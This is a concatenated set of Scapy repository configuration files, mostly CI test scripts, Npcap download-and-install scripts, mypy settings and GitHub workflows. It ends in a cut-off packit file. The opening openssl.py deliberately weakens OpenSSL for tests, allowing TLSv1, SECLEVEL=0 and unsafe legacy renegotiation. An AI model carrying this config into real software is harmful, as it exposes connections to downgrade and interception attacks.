""" Create a duplicate of the OpenSSL config to be able to use TLS < 1.2 This returns the path to this new config file. """ import os import re import subprocess import tempfile # Get OpenSSL config file OPENSSL_DIR = re.search( b"OPENSSLDIR: \"(.*)\"", subprocess.Popen( ["openssl", "version", "-d"], stdout=subprocess.PIPE ).communicate()[0] ).group(1).decode() OPENSSL_CONFIG = os.path.join(OPENSSL_DIR, 'openssl.cnf') # https://www.openssl.org/docs/manmaster/man5/config.html DATA = b""" openssl_conf = openssl_init [openssl_init] ssl_conf = ssl_configuration [ssl_configuration] system_default = tls_system_default [tls_system_default] MinProtocol = TLSv1 CipherString = DEFAULT:@SECLEVEL=0 Options = UnsafeLegacyRenegotiation """.strip() # Copy and edit with tempfile.NamedTemporaryFile(suffix=".cnf", delete=False) as fd: fd.write(DATA) print(fd.name) ================================================ FILE: .config/ci/test.ps1 ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # test.ps1 # Usage: # ./test.ps1 # Examples: # ./test.sh 3.13 if ($args.Count -eq 0) { Write-Host "Usage: .\test.ps1 " exit } # Set TOXENV $PY_VERSION = "py" + ($args[0] -replace '\.', '') $env:TOXENV = $PY_VERSION + "-windows-root" if ($env:GITHUB_ACTIONS) { # Due to a security policy, the firewall of the Azure runner # (Standard_DS2_v2) that runs Github Actions on Linux blocks ICMP. $env:UT_FLAGS += " -K icmp_firewall" } # Launch Scapy unit tests python -m tox -- @($env:UT_FLAGS.Trim() -split ' ') ================================================ FILE: .config/ci/test.sh ================================================ #!/bin/bash # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # test.sh # Usage: # ./test.sh [python version] [both/root/non_root (default root)] # Examples: # ./test.sh 3.7 both # ./test.sh 3.9 non_root if [ "$OSTYPE" = "linux-gnu" ] then # Linux OSTOX="linux" UT_FLAGS+=" -K tshark" if [ -z "$SIMPLE_TESTS" ] then # check vcan sudo modprobe -n -v vcan if [[ $? -ne 0 ]] then # The vcan module is currently unavailable on xenial builds UT_FLAGS+=" -K vcan_socket" fi else UT_FLAGS+=" -K vcan_socket" fi elif [[ "$OSTYPE" = "darwin"* ]] || [[ "$OSTYPE" = "FreeBSD" ]] || [[ "$OSTYPE" = *"bsd"* ]] then OSTOX="bsd" # Travis CI in macOS 10.13+ can't load kexts. Need this for tuntaposx. UT_FLAGS+=" -K tun -K tap" if [[ "$OSTYPE" = "openbsd"* ]] then # Note: LibreSSL 3.6.* does not support X25519 according to # the cryptogaphy module source code UT_FLAGS+=" -K libressl" fi fi if [ ! -z "$GITHUB_ACTIONS" ] then # Due to a security policy, the firewall of the Azure runner # (Standard_DS2_v2) that runs Github Actions on Linux blocks ICMP. UT_FLAGS+=" -K icmp_firewall" fi # pypy if python --version 2>&1 | grep -q PyPy then UT_FLAGS+=" -K not_pypy" # Code coverage with PyPy makes it very, very slow. Tests work # but take around 30minutes, so we disable it. export DISABLE_COVERAGE=" " fi # macos -k scanner has glitchy coverage. skip it if [ "$OSTOX" = "bsd" ] && [[ "$UT_FLAGS" = *"-k scanner"* ]]; then export DISABLE_COVERAGE=" " fi # libpcap if [[ ! -z "$SCAPY_USE_LIBPCAP" ]]; then UT_FLAGS+=" -K veth" fi # Create version tag (github actions) PY_VERSION="py${1//./}" PY_VERSION=${PY_VERSION/pypypy/pypy} TESTVER="$PY_VERSION-$OSTOX" # Chose whether to run root or non_root SCAPY_TOX_CHOSEN=${2} if [ "${SCAPY_TOX_CHOSEN}" == "" ] then case ${PY_VERSION} in py27|py38) SCAPY_TOX_CHOSEN="both" ;; *) SCAPY_TOX_CHOSEN="root" esac fi if [ -z $TOXENV ] then case ${SCAPY_TOX_CHOSEN} in both) export TOXENV="${TESTVER}-non_root,${TESTVER}-root" ;; root) export TOXENV="${TESTVER}-root" ;; *) export TOXENV="${TESTVER}-non_root" ;; esac fi # Configure OpenSSL export OPENSSL_CONF=$(${PYTHON:=python} `dirname $BASH_SOURCE`/openssl.py) # Dump vars (environment is already entirely dumped in install.sh) echo OSTOX=$OSTOX echo UT_FLAGS=$UT_FLAGS echo TOXENV=$TOXENV echo OPENSSL_CONF=$OPENSSL_CONF echo OPENSSL_VER=$(openssl version) echo COVERAGE=$([ -z "$DISABLE_COVERAGE" ] && echo "enabled" || echo "disabled") if [ "$OSTYPE" = "linux-gnu" ] then echo SMBCLIENT=$(smbclient -V) fi # Launch Scapy unit tests # export TOX_PARALLEL_NO_SPINNER=1 tox -- ${UT_FLAGS} || exit 1 # Stop if NO_BASH_TESTS is set if [ ! -z "$SIMPLE_TESTS" ] then exit $? fi # Start Scapy in interactive mode TEMPFILE=$(mktemp) cat < "${TEMPFILE}" print("Scapy on %s" % sys.version) sys.exit() EOF echo "DEBUG: TEMPFILE=${TEMPFILE}" ./run_scapy -H -c "${TEMPFILE}" || exit 1 ================================================ FILE: .config/ci/windows/InstallNpcap.ps1 ================================================ # Install Npcap on the machine. # Config: $npcap_oem_file = "npcap-1.60-oem.exe" $npcap_oem_hash = "91e076eb9a197d55ca5e05b240e8049cd97ced3455eb7e7cb0f06066b423eb77" # Note: because we need the /S option (silent), this script has two cases: # - The script is runned from a master build, then use the secure variable 'npcap_oem_key' which will be available # to decode the very recent npcap install oem file and use it # - The script is runned from a PR, then use the provided archived 0.96 version, which is the last public one to # provide support for the /S option function checkTheSum($file, $hash) { $_chksum = $(CertUtil -hashfile $file SHA256)[1] -replace " ","" if ($_chksum -ne $hash){ Write-Error "Checksums do NOT match !" return 1, $file } return 0, $file } function DownloadNPCAP_free { $file = $PSScriptRoot+"\npcap-0.96.exe" $hash = "83667e1306fdcf7f9967c10277b36b87e50ee8812e1ee2bb9443bdd065dc04a1" # Download the 0.96 file from a copy :/ It was taken down from official servers. Invoke-WebRequest "https://github.com/secdev/secdev.github.io/raw/refs/heads/master/public/ci/npcap-0.96.exe" -UseBasicParsing -OutFile $file return checkTheSum $file $hash } function DownloadNPCAP_oem { # Unpack the key $user, $pass = (Get-ChildItem Env:npcap_oem_key).Value.replace("`"", "").split(",") if(!$user -Or !$pass){ Throw (New-Object System.Exception) } $file = $PSScriptRoot+"\"+$npcap_oem_file # Download oem file using (super) secret credentials $pair = "${user}:${pass}" $encodedCreds = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($pair)) $basicAuthValue = "Basic $encodedCreds" $headers = @{ Authorization = $basicAuthValue } $secpasswd = ConvertTo-SecureString $pass -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential($user, $secpasswd) try { Invoke-WebRequest -uri (-join("https://npcap.com/oem/dist/",$npcap_oem_file)) -OutFile $file -Headers $headers -Credential $credential } catch [System.Net.WebException],[System.IO.IOException] { Write-Error "Error while dowloading npcap oem!" Write-Warning $Error[0] return 1, $file } return checkTheSum $file $npcap_oem_hash } if (Test-Path Env:npcap_oem_key){ # Key is here: on master $success, $file = DownloadNPCAP_oem if ($success -ne 0){ $success, $file = DownloadNPCAP_free } } else { # No key: PRs $success, $file = DownloadNPCAP_free } if ($success -ne 0){ Write-Error ('Npcap installation of '+$file+' arborted !') exit 1 } Write-Output ('Installing: ' + $file) # Run installer $process = Start-Process $file -ArgumentList "/loopback_support=yes /winpcap_mode=no /S" -PassThru -Wait if($process.ExitCode -eq 0) { echo "Npcap installation completed !" exit 0 } else { Write-Error "Npcap installation failed !" exit 1 } ================================================ FILE: .config/ci/windows/InstallWindumpNpcap.ps1 ================================================ # Config $urlPath = "https://github.com/hsluoyz/WinDump/releases/download/v0.3/WinDump-for-Npcap-0.3.zip" $checksum = "4253cbc494416c4917920e1f2424cdf039af8bc39f839a47aa4337bd28f4eb7e" ############ ############ # Download the file Invoke-WebRequest $urlPath -UseBasicParsing -OutFile $PSScriptRoot"\npcap.zip" Add-Type -AssemblyName System.IO.Compression.FileSystem function Unzip { param([string]$zipfile, [string]$outpath) [System.IO.Compression.ZipFile]::ExtractToDirectory($zipfile, $outpath) } Unzip $PSScriptRoot"\npcap.zip" $PSScriptRoot"\npcap" Remove-Item $PSScriptRoot"\npcap.zip" # Now let's check its checksum $_chksum = $(CertUtil -hashfile $PSScriptRoot"\npcap\x64\WinDump.exe" SHA256)[1] -replace " ","" if ($_chksum -ne $checksum){ echo "Checksums does NOT match !" exit } else { echo "Checksums matches !" } # Finally, move it and remove tmp files New-Item -Path "C:\Program Files\Windump" -ItemType directory Move-Item -Force $PSScriptRoot"\npcap\x64\WinDump.exe" "C:\Program Files\Windump\windump.exe" Remove-Item $PSScriptRoot"\npcap" -recurse ================================================ FILE: .config/ci/zipapp.sh ================================================ #!/bin/bash # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Build a zipapp for Scapy DIR=$(realpath "$(dirname "$0")/../../") cd $DIR if [ ! -e "pyproject.toml" ]; then echo "zipapp.sh was not able to find scapy's root folder" exit 1 fi MODE="$1" if [ -z "$MODE" ] || ( [ "$MODE" != "full" ] && [ "$MODE" != "simple" ] ); then echo "Usage: zipapp.sh " exit 1 fi if [ -z "$PYTHON" ] then PYTHON=${PYTHON:-python3} fi # Get Scapy version SCPY_VERSION=$(python3 -c "print(__import__('scapy').__version__)") # Get temp directory TMPFLD="$(mktemp -d)" if [ -z "$TMPFLD" ] || [ ! -d "$TMPFLD" ]; then echo "Error: 'mktemp -d' failed" exit 1 fi ARCH="$TMPFLD/archive" SCPY="$TMPFLD/scapy" mkdir "$ARCH" mkdir "$SCPY" # Create git archive echo "> Creating git archive..." git archive HEAD -o "$ARCH/scapy.tar.gz" # Unpack the archive to a temporary directory if [ ! -e "$ARCH/scapy.tar.gz" ]; then echo "ERROR: git archive failed" exit 1 fi echo "> Unpacking..." tar -xf "$ARCH/scapy.tar.gz" -C "$SCPY" # Remove unnecessary files echo "> Stripping down..." cd "$SCPY" && find . -not \( \ -wholename "./scapy*" -o \ -wholename "./pyproject.toml" -o \ -wholename "./doc/scapy.1" -o \ -wholename "./setup.py" -o \ -wholename "./README.md" -o \ -wholename "./LICENSE" \ \) -delete cd $DIR # Depending on the mode, install dependencies and get DEST file if [ "$MODE" == "full" ]; then echo "> Bundling dependencies..." $PYTHON -m pip install --quiet --target "$SCPY" IPython DEST="./dist/scapy-full-$SCPY_VERSION.pyz" else DEST="./dist/scapy-$SCPY_VERSION.pyz" fi if [ ! -d "./dist" ]; then mkdir dist fi # Copy version echo "$SCPY_VERSION" > "./dist/version" # Build the zipapp echo "> Building zipapp..." $PYTHON -m zipapp \ -o "$DEST" \ -p "/usr/bin/env python3" \ -m "scapy.main:interact" \ -c \ "$SCPY" # Cleanup rm -rf "$TMPFLD" echo "Success. zipapp avaiable at $DEST" stat $DEST | head -n 2 ================================================ FILE: .config/codespell_ignore.txt ================================================ abd aci ans applikation archtypes ba browseable byteorder cace cas ciph componet comversion cros delt doas doubleclick ether eventtypes fo funktion gost hart iff implementors inout interaktive joinin merchantibility microsof mitre nd negociate optiona ot potatoe referer requestor ro ser singl slac synching te temporaere tim ue uint vas wan wanna webp widgits ================================================ FILE: .config/mypy/mypy.ini ================================================ [mypy] # Internal Scapy modules that we ignore [mypy-scapy.libs.winpcapy] ignore_errors = True ignore_missing_imports = True [mypy-scapy.libs.rfc3961] warn_return_any = False # Layers specific config [mypy-scapy.arch.*] implicit_reexport = True [mypy-scapy.layers.*,scapy.contrib.*] warn_return_any = False # External libraries that we ignore [mypy-IPython] ignore_missing_imports = True [mypy-colorama] ignore_missing_imports = True [mypy-traitlets.config.loader] ignore_missing_imports = True [mypy-pyx] ignore_missing_imports = True [mypy-matplotlib.lines] ignore_missing_imports = True [mypy-prompt_toolkit.*] ignore_missing_imports = True ================================================ FILE: .config/mypy/mypy_check.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Performs Static typing checks over Scapy's codebase """ # IMPORTANT NOTE # # Because we are rolling out mypy tests progressively, # we currently use --follow-imports=skip. This means that # mypy doesn't check consistency between the imports (different files). # # Once each file has been processed individually, we'll remove that to # check the inconsistencies across the files import io import os import sys from mypy.main import main as mypy_main # Check platform arg PLATFORM = None if len(sys.argv) >= 2: if len(sys.argv) > 2: print("Usage: mypy_check.py [platform]") sys.exit(1) PLATFORM = sys.argv[1] # Load files localdir = os.path.split(__file__)[0] with io.open(os.path.join(localdir, "mypy_enabled.txt")) as fd: FILES = [l.strip() for l in fd.readlines() if l.strip() and l[0] != "#"] if not FILES: print("No files specified. Arborting") sys.exit(1) # Generate mypy arguments ARGS = [ # strictness: same as --strict minus --disallow-subclassing-any "--warn-unused-configs", "--disallow-any-generics", "--disallow-untyped-calls", "--disallow-untyped-defs", "--disallow-incomplete-defs", "--check-untyped-defs", "--disallow-untyped-decorators", "--no-implicit-optional", "--warn-redundant-casts", "--warn-unused-ignores", "--warn-return-any", "--no-implicit-reexport", "--strict-equality", "--ignore-missing-imports", # config "--follow-imports=skip", # Remove eventually "--config-file=" + os.path.abspath(os.path.join(localdir, "mypy.ini")), "--show-traceback", ] + (["--platform=" + PLATFORM] if PLATFORM else []) if PLATFORM.startswith("linux"): ARGS.extend( [ "--always-true=LINUX", "--always-false=OPENBSD", "--always-false=FREEBSD", "--always-false=NETBSD", "--always-false=DARWIN", "--always-false=WINDOWS", "--always-false=BSD", ] ) FILES = [x for x in FILES if not x.startswith("scapy/arch/windows")] elif PLATFORM.startswith("win32"): ARGS.extend( [ "--always-false=LINUX", "--always-false=OPENBSD", "--always-false=FREEBSD", "--always-false=NETBSD", "--always-false=DARWIN", "--always-true=WINDOWS", "--always-false=WINDOWS_XP", "--always-false=BSD", ] ) FILES = [ x for x in FILES if ( x not in { # Disabled on Windows "scapy/arch/unix.py", "scapy/arch/solaris.py", "scapy/contrib/cansocket_native.py", "scapy/contrib/isotp/isotp_native_socket.py", } ) and not x.startswith("scapy/arch/bpf") and not x.startswith("scapy/arch/linux") ] else: raise ValueError("Unknown platform") # Run mypy over the files ARGS += [os.path.abspath(f) for f in FILES] mypy_main(args=ARGS) ================================================ FILE: .config/mypy/mypy_deployment_stats.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Generate MyPy deployment stats """ import os import io import glob from collections import defaultdict # Parse config file localdir = os.path.split(__file__)[0] rootpath = os.path.abspath(os.path.join(localdir, '../../')) with io.open(os.path.join(localdir, "mypy_enabled.txt")) as fd: FILES = [l.strip() for l in fd.readlines() if l.strip() and l[0] != "#"] # Scan Scapy ALL_FILES = [ "".join(x.partition("scapy/")[2:]) for x in glob.iglob(os.path.join(rootpath, 'scapy/**/*.py'), recursive=True) ] # Process REMAINING = defaultdict(list) MODULES = defaultdict(lambda: (0, 0, 0, 0)) for f in ALL_FILES: with open(os.path.join(rootpath, f)) as fd: lines = len(fd.read().split("\n")) parts = f.split("/") if len(parts) > 2: mod = parts[1] else: mod = "[core]" e, l, t, a = MODULES[mod] if f in FILES: e += lines t += 1 else: REMAINING[mod].append(f) l += lines a += 1 MODULES[mod] = (e, l, t, a) ENABLED = sum(x[0] for x in MODULES.values()) TOTAL = sum(x[1] for x in MODULES.values()) print("**MyPy Support: %.2f%%**" % (ENABLED / TOTAL * 100)) print("| Module | Typed code (lines) | Typed files |") print("| --- | --- | --- |") for mod, dat in MODULES.items(): print("|`%s` | %.2f%% | %s/%s |" % (mod, dat[0] / dat[1] * 100, dat[2], dat[3])) print() COREMODS = REMAINING["[core]"] if COREMODS: print("Core modules still untypes:") for mod in COREMODS: print("- `%s`" % mod) ================================================ FILE: .config/mypy/mypy_enabled.txt ================================================ # This file registers all files that have already been processed as part of # https://github.com/secdev/scapy/issues/2158, and therefore will be enforced # with unit tests in future development. # Style cheet: https://mypy.readthedocs.io/en/latest/cheat_sheet.html # CORE scapy/__init__.py scapy/__main__.py scapy/all.py scapy/ansmachine.py scapy/arch/__init__.py scapy/arch/bpf/__init__.py scapy/arch/bpf/consts.py scapy/arch/bpf/core.py scapy/arch/bpf/supersocket.py scapy/arch/common.py scapy/arch/libpcap.py scapy/arch/linux/__init__.py scapy/arch/linux/rtnetlink.py scapy/arch/solaris.py scapy/arch/unix.py scapy/arch/windows/__init__.py scapy/arch/windows/native.py scapy/arch/windows/structures.py scapy/as_resolvers.py scapy/asn1/__init__.py scapy/asn1/asn1.py scapy/asn1/ber.py scapy/asn1/mib.py scapy/asn1fields.py scapy/asn1packet.py scapy/automaton.py scapy/autorun.py scapy/base_classes.py scapy/compat.py scapy/config.py scapy/consts.py scapy/dadict.py scapy/data.py scapy/error.py scapy/fields.py scapy/interfaces.py scapy/main.py scapy/packet.py scapy/pipetool.py scapy/plist.py scapy/pton_ntop.py scapy/route.py scapy/route6.py scapy/scapypipes.py scapy/sendrecv.py scapy/sessions.py scapy/supersocket.py scapy/themes.py scapy/utils.py scapy/utils6.py scapy/volatile.py # LAYERS scapy/layers/can.py scapy/layers/l2.py # CONTRIB scapy/contrib/automotive/bmw/hsfz.py scapy/contrib/automotive/doip.py scapy/contrib/automotive/ecu.py scapy/contrib/automotive/gm/gmlan_ecu_states.py scapy/contrib/automotive/gm/gmlan_logging.py scapy/contrib/automotive/gm/gmlan_scanner.py scapy/contrib/automotive/gm/gmlanutils.py scapy/contrib/automotive/kwp.py scapy/contrib/automotive/obd/scanner.py scapy/contrib/automotive/scanner/configuration.py scapy/contrib/automotive/scanner/enumerator.py scapy/contrib/automotive/scanner/executor.py scapy/contrib/automotive/scanner/graph.py scapy/contrib/automotive/scanner/staged_test_case.py scapy/contrib/automotive/scanner/test_case.py scapy/contrib/automotive/uds_ecu_states.py scapy/contrib/automotive/uds_logging.py scapy/contrib/automotive/uds_scan.py scapy/contrib/cansocket_native.py scapy/contrib/cansocket_python_can.py #scapy/contrib/http2.py # needs to be fixed scapy/contrib/isotp/isotp_native_socket.py scapy/contrib/isotp/isotp_packet.py scapy/contrib/isotp/isotp_scanner.py scapy/contrib/isotp/isotp_soft_socket.py scapy/contrib/isotp/isotp_utils.py scapy/contrib/roce.py scapy/contrib/tcpao.py # LIBS scapy/libs/__init__.py scapy/libs/ethertypes.py scapy/libs/extcap.py scapy/libs/matplot.py scapy/libs/rfc3961.py scapy/libs/structures.py scapy/libs/test_pyx.py # TEST test/testsocket.py # TOOLS scapy/tools/automotive/isotpscanner.py ================================================ FILE: .git-blame-ignore-revs ================================================ # This file contains the list of commits that should be excluded from # git blame. Read more informations on: # https://docs.github.com/en/repositories/working-with-files/using-files/viewing-a-file#ignore-commits-in-the-blame-view # PEPin - https://github.com/secdev/scapy/issues/1277 # E231 - missing whitespace after ',' e7365b2baeded1a0e1e3b59bc0ad14a78d6e3086 # E30* - Incorrect number of blank lines b770bbc58c26437b354c0bd21dc4e2fcfa3abfdf # E20* - Incorrect number of whitespace 6861a35d8ed4466df7b2ff82341e60caf9ff869a # E12* - visual indent 275ad3246b5231bb046a66bcfdf3654d67fdea20 # W29* - useless whitespaces 453f2592f7b6f2b8677619769f8427932894dc1c # E251 - unexpected spaces around keyword / parameter equals 203254afd771b42ccf0fcca96ba92dc4075cfe4a # E26 - comments b7a3db73dfd17ec1e7bbace8d52464982bf8ea8d # E1 - incorrect indentation f2f1de742aa36167e2c86247a26ed5e7393366ea # F821 - undefined name 'name' f8525ea9f17cedf148febcab8d1dab51ddca9afe # E2* - whitespaces errors 1c2fe99c131bb05e009896410766371a2f870175 # E71* - tests syntax 927c157b58918d5fdce9714a3c35627339cc8657 # F841 - local variable 'name' is assigned to but never used dbe409531a22d1245cf4669f72a425b42c83b0db # PEPin several fixes 93232490193ca2b59e3b1425131913d28f408f7a # E501 - line too long (> 79 characters) e89d8965748439adc253714316de7a9a35b8bd73 # F601 - dictionary key repeated with different values 0fd7d76550e56831f887664202d743846d3619dd # F811 - redefinition of unused variable/class/... 10454d1ca243d0fd8d2ab4a148d688e3ea916e49 # E402 - module level import not at top of file 0f4a904d2801e8bbbc82880345ad453ceb6ee34f # E722 - do not use bare except a35575ff22da176a8b515405faea9a689462da0c # E741 - ambiguous variable name 'l' 7c61676aef950ca268eac480902dd91cb0abe3a4 # F405 - variable/function/... may be undefined, or defined from star 8773983edb0336db7aa84777dee2aa9892508418 # F401 - 'module' imported but unused a58e1b90a704c394216a0b5a864a50931754bdf7 # W502 - line break before binary operator 9687222c3f0af6ef89ecfe15e5b983e1f7b5b31e # E275 - Missing whitespace after keyword 08b1f9d67c8e716fd44036a027bdc90dcb9fcfdf ================================================ FILE: .gitattributes ================================================ scapy/__init__.py export-subst * text=auto *.bat text eol=crlf ================================================ FILE: .github/FUNDING.yml ================================================ github: [gpotter2, guedou, p-l-, polybassa] ================================================ FILE: .github/ISSUE_TEMPLATE/BUGS.yml ================================================ name: Bug Report description: File a bug report body: - type: markdown attributes: value: | ### Things to consider 1. Please check that you are using the **latest Scapy version**, e.g. installed via: `pip install --upgrade git+https://github.com/secdev/scapy.git` 2. If you are here to ask a question - please check previous issues and online resources, and consider using Gitter instead: 3. Please understand that **this is not a forum** but an issue tracker. The following article explains why you should limit questions asked on Github issues: ***All bug reports must have at least one reproducible example.*** This may be a code snippet, a pcap file (zipped).. - type: textarea id: description attributes: label: Brief description description: | Describe the main issue in one sentence If possible, describe what components / protocols could be affected by the issue (e.g. wrpcap() + IPv6, it is likely this also affects XXX) validations: required: true - type: input id: scapy_ver attributes: label: Scapy version description: Give the Scapy version or the commit hash placeholder: 2.4.5 validations: required: true - type: input id: py_ver attributes: label: Python version placeholder: "3.8" validations: required: true - type: input id: os attributes: label: Operating system placeholder: Linux 5.10.46 validations: required: true - type: textarea id: add_os attributes: label: Additional environment information description: If needed - further information to get a picture of your setup (e.g. a sketch of your network setup) validations: required: false - type: textarea id: reproduce attributes: label: How to reproduce description: Step-by-step explanation or a short script, may reference section 'Related resources' validations: required: true - type: textarea id: result attributes: label: Actual result description: Dump results that outline the issue, please format your code - type: textarea id: expected_result attributes: label: Expected result description: Describe the expected result and outline the difference to the actual one, could also be a screen shot (e.g. wireshark) - type: textarea id: resources attributes: label: Related resources description: Traces / sample pcaps (stripped to the relevant frames), related standards, RFCs or other resources ================================================ FILE: .github/ISSUE_TEMPLATE/config.yml ================================================ blank_issues_enabled: true contact_links: - name: Ask a question url: https://gitter.im/secdev/scapy about: Please ask and answer questions on Gitter. ================================================ FILE: .github/PULL_REQUEST_TEMPLATE.md ================================================ **Checklist:** - [ ] If you are new to Scapy: I have checked [CONTRIBUTING.md](https://github.com/secdev/scapy/blob/master/CONTRIBUTING.md) (esp. section submitting-pull-requests) - [ ] I squashed commits belonging together - [ ] I added unit tests or explained why they are not relevant - [ ] I executed the regression tests (using `tox`) - [ ] If the PR is still not finished, please create a [Draft Pull Request](https://github.blog/2019-02-14-introducing-draft-pull-requests/) fixes #xxx ================================================ FILE: .github/codecov.yml ================================================ codecov: notify: # Do not send notifications when CI fails require_ci_to_pass: true comment: # Define codevov comments behavior and content behavior: default layout: header, diff, tree require_changes: false coverage: # Define coverage range and precision precision: 2 range: "70..100" round: down status: # Only consider changes to the whole project project: default: target: auto threshold: 0.5% base: auto patch: false changes: false parsers: gcov: branch_detection: conditional: true loop: true macro: false method: false javascript: enable_partials: yes ================================================ FILE: .github/workflows/cifuzz.yml ================================================ name: CIFuzz on: push: branches: [master] permissions: contents: read jobs: Fuzzing: runs-on: ubuntu-latest if: github.repository == 'secdev/scapy' concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: true steps: - name: Build Fuzzers id: build uses: google/oss-fuzz/infra/cifuzz/actions/build_fuzzers@master with: oss-fuzz-project-name: 'scapy' language: python dry-run: false allowed-broken-targets-percentage: 0 - name: Run Fuzzers uses: google/oss-fuzz/infra/cifuzz/actions/run_fuzzers@master with: oss-fuzz-project-name: 'scapy' language: python dry-run: false fuzz-seconds: 300 - name: Upload Crash uses: actions/upload-artifact@v4 if: failure() && steps.build.outcome == 'success' with: name: artifacts path: ./out/artifacts ================================================ FILE: .github/workflows/unittests.yml ================================================ name: Scapy unit tests on: push: branches: [master] pull_request: # The branches below must be a subset of the branches above branches: [master] # https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/control-the-concurrency-of-workflows-and-jobs concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: ${{ !contains(github.ref, 'master')}} permissions: contents: read jobs: health: name: Code health check runs-on: ubuntu-latest steps: - name: Checkout Scapy uses: actions/checkout@v4 - name: Setup Python uses: actions/setup-python@v5 with: python-version: "3.12" - name: Install tox run: pip install tox - name: Run flake8 tests run: tox -e flake8 - name: Run codespell run: tox -e spell - name: Run twine check run: tox -e twine - name: Run gitarchive check run: tox -e gitarchive docs: # 'runs-on' and 'python-version' should match the ones defined in .readthedocs.yml name: Build doc runs-on: ubuntu-22.04 steps: - name: Checkout Scapy uses: actions/checkout@v4 - name: Setup Python uses: actions/setup-python@v5 with: python-version: "3.12" - name: Install tox run: pip install tox - name: Build docs run: tox -e docs spdx: name: Check SPDX identifiers runs-on: ubuntu-latest steps: - name: Checkout Scapy uses: actions/checkout@v4 - name: Launch script run: bash scapy/tools/check_spdx.sh mypy: name: Type hints check runs-on: ubuntu-latest steps: - name: Checkout Scapy uses: actions/checkout@v4 - name: Setup Python uses: actions/setup-python@v5 with: python-version: "3.12" - name: Install tox run: pip install tox - name: Run mypy run: tox -e mypy utscapy: name: ${{ matrix.os }} ${{ matrix.installmode }} ${{ matrix.python }} ${{ matrix.mode }} ${{ matrix.flags }} runs-on: ${{ matrix.os }} timeout-minutes: 20 continue-on-error: ${{ matrix.allow-failure == 'true' }} strategy: fail-fast: false matrix: os: [ubuntu-latest] python: ["3.8", "3.9", "3.10", "3.11", "3.12"] mode: [non_root] installmode: [''] flags: [" -K scanner"] allow-failure: ['false'] include: # Python 3.7 - os: ubuntu-22.04 python: "3.7" mode: non_root flags: " -K scanner" # Linux root tests on last version - os: ubuntu-latest python: "3.13" mode: root flags: " -K scanner" # PyPy tests: root only - os: ubuntu-latest python: "pypy3.11" mode: root flags: " -K scanner" # Libpcap test - os: ubuntu-latest python: "3.13" mode: root installmode: 'libpcap' flags: " -K scanner" # macOS tests - os: macos-14 python: "3.13" mode: both flags: " -K scanner" # windows tests - os: windows-latest python: "3.13" mode: root flags: " -K scanner" # Scanner tests - os: ubuntu-latest python: "3.13" mode: root allow-failure: 'true' flags: " -k scanner" - os: ubuntu-latest python: "pypy3.11" mode: root flags: " -k scanner" - os: macos-14 python: "3.13" mode: both allow-failure: 'true' flags: " -k scanner" - os: windows-latest python: "3.13" mode: both allow-failure: 'true' flags: " -k scanner" steps: - name: Checkout Scapy uses: actions/checkout@v4 # Codecov requires a fetch-depth > 1 with: fetch-depth: 2 - name: Setup Python uses: actions/setup-python@v5 with: python-version: ${{ matrix.python }} - name: Install Tox and any other packages (linux/osx) run: ./.config/ci/install.sh ${{ matrix.installmode }} if: ${{ ! contains(matrix.os, 'windows') }} - name: Install Tox and any other packages (win) run: ./.config/ci/install.ps1 if: ${{ contains(matrix.os, 'windows') }} - name: Run Tox (linux/osx) run: ./.config/ci/test.sh ${{ matrix.python }} ${{ matrix.mode }} env: UT_FLAGS: ${{ matrix.flags }} if: ${{ ! contains(matrix.os, 'windows') }} - name: Run Tox (win) run: ./.config/ci/test.ps1 ${{ matrix.python }} env: UT_FLAGS: ${{ matrix.flags }} if: ${{ contains(matrix.os, 'windows') }} - name: Codecov uses: codecov/codecov-action@v5 continue-on-error: true with: token: ${{ secrets.CODECOV_TOKEN }} cryptography: name: pyca/cryptography test runs-on: ubuntu-latest steps: - name: Checkout repository uses: actions/checkout@v4 - name: Setup Python uses: actions/setup-python@v5 with: python-version: "3.12" - name: Install tox run: pip install tox # pyca/cryptography's CI installs cryptography # then runs the tests. We therefore didn't include it in tox - name: Install cryptography run: pip install cryptography - name: Run tests run: tox -e cryptography # CODE-QL analyze: name: CodeQL analysis runs-on: ubuntu-latest permissions: security-events: write steps: - name: Checkout repository uses: actions/checkout@v4 with: fetch-depth: 2 - name: Initialize CodeQL uses: github/codeql-action/init@v3 with: languages: 'python' - name: Perform CodeQL Analysis uses: github/codeql-action/analyze@v3 ================================================ FILE: .gitignore ================================================ *.pyc *.pyo dist/ build/ MANIFEST *.egg-info/ test/*.html .coverage* coverage.xml .tox .ipynb_checkpoints .mypy_cache .vscode .DS_Store [.]venv/ __pycache__/ doc/scapy/_build doc/scapy/api .idea ================================================ FILE: .packit.yml ================================================ --- # Docs: https://packit.dev/docs specfile_path: .packit_rpm/scapy.spec files_to_sync: - .packit.yml - src: .packit_rpm/scapy.spec dest: scapy.spec upstream_package_name: scapy downstream_package_name: scapy upstream_tag_template: "v{version}" srpm_build_deps: [] actions: post-upstream-clone: # Use the Fedora Rawhide specfile - "git clone https://src.fedoraproject.org/rpms/scapy .packit_rpm --depth=1" # Drop the "sources" file so rebase-helper doesn't think we're a dist-git - "rm -fv .packit_rpm/sources" # Drop all downstream patches to prevent them from interfering with upstream builds - "sed -ri '/^Patch[0-9]+\\:.+\\.patch/d' .packit_rpm/scapy.spec" - "sed -i '/^%check$/apip3 install scapy-rpc\\nOPENSSL_ENABLE_SHA1_SIGNATURES=1 OPENSSL_CONF=$(python3 ./.config/ci/openssl.py) ./test/run_tests -c test/configs/linux.utsc -K ci_only -K netaccess -K scanner' .packit_rpm/scapy.spec" - "sed -i '/^BuildArch/aBuildRequires: can-utils' .packit_rpm/scapy.spec" - "sed -i '/^BuildArch/aBuildRequires: libpcap' .packit_rpm/scapy.spec" - "sed -i '/^BuildArch/aBuildRequires: openssl' .packit_rpm/scapy.spec" - "sed -i '/^BuildArch/aBuildRequires: tcpdump' .packit_rpm/scapy.spec" - "sed -i 